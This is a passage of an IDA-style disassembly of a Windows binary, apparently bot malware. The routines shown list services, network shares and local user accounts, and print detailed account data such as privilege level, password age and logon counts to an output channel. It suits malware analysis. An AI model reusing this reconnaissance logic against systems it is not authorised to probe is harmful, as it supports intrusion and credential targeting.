		test	eax, eax
		jnz	short loc_418F1A
		call	near ptr 26A096Ch
		nop
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8CC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_439518[eax*4]
		push	offset unk_439BC4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_43951C[eax*4]
		push	offset dword_439BA8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB63C
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439B84
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB83C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB83C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5DC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5DC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5DC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8C8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8A0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB918
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C10
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8BC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA64


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_43951C[eax*4]
		push	offset unk_439CC8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_439518[eax*4]
		push	offset unk_439C98
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB840
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439C70
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8AC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB89C
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA2C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CE8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA64


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB934
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439ED8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EA4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA64


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
